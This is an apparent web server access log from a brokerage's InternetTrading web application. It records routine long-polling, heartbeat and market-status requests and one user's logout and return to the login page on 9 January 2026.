[09/Jan/2026:09:51:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923798077 HTTP/1.1" -
[09/Jan/2026:09:51:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923787713 HTTP/1.1" -
[09/Jan/2026:09:51:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923790742 HTTP/1.1" -
[09/Jan/2026:09:51:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923803103 HTTP/1.1" -
[09/Jan/2026:09:51:59 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923788051 HTTP/1.1" -
[09/Jan/2026:09:52:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:52:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:52:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:52:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:52:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923792770 HTTP/1.1" -
[09/Jan/2026:09:52:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923795943 HTTP/1.1" -
[09/Jan/2026:09:52:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923808133 HTTP/1.1" -
[09/Jan/2026:09:52:05 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923794052 HTTP/1.1" -
[09/Jan/2026:09:52:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923797799 HTTP/1.1" -
[09/Jan/2026:09:52:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923800998 HTTP/1.1" -
[09/Jan/2026:09:52:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923813192 HTTP/1.1" -
[09/Jan/2026:09:52:11 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923800057 HTTP/1.1" -
[09/Jan/2026:09:52:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923802824 HTTP/1.1" -
[09/Jan/2026:09:52:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923806062 HTTP/1.1" -
[09/Jan/2026:09:52:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:52:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:52:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923818247 HTTP/1.1" -
[09/Jan/2026:09:52:14 +0800] 114.119.135.63 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robots.txt HTTP/1.1" 196
[09/Jan/2026:09:52:17 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923806048 HTTP/1.1" -
[09/Jan/2026:09:52:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923807843 HTTP/1.1" -
[09/Jan/2026:09:52:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923811249 HTTP/1.1" -
[09/Jan/2026:09:52:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923823282 HTTP/1.1" -
[09/Jan/2026:09:52:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:52:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:52:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:52:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:52:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:52:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:52:23 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923812056 HTTP/1.1" -
[09/Jan/2026:09:52:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923812870 HTTP/1.1" -
[09/Jan/2026:09:52:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923828334 HTTP/1.1" -
[09/Jan/2026:09:52:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923816403 HTTP/1.1" -
[09/Jan/2026:09:52:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923817891 HTTP/1.1" -
[09/Jan/2026:09:52:29 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923818055 HTTP/1.1" -
[09/Jan/2026:09:52:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923833362 HTTP/1.1" -
[09/Jan/2026:09:52:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923821551 HTTP/1.1" -
[09/Jan/2026:09:52:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:52:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:52:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:52:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:52:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:52:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:52:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:52:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:52:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923822937 HTTP/1.1" -
[09/Jan/2026:09:52:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923838417 HTTP/1.1" -
[09/Jan/2026:09:52:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923826708 HTTP/1.1" -
[09/Jan/2026:09:52:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923824055 HTTP/1.1" -
[09/Jan/2026:09:52:37 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:52:37 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:52:37 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:52:37 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:52:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923827973 HTTP/1.1" -
[09/Jan/2026:09:52:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923843487 HTTP/1.1" -
[09/Jan/2026:09:52:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923831803 HTTP/1.1" -
[09/Jan/2026:09:52:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923830060 HTTP/1.1" -
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923831063 HTTP/1.1" -
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/LogoutAA.jsp HTTP/1.1" 12
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Logout HTTP/1.1" 1
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:09:52:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767923831860 HTTP/1.1" 3188
[09/Jan/2026:09:52:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923833017 HTTP/1.1" -
[09/Jan/2026:09:52:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:52:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:52:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923848549 HTTP/1.1" -
[09/Jan/2026:09:52:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923836948 HTTP/1.1" -
[09/Jan/2026:09:52:47 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923836056 HTTP/1.1" -
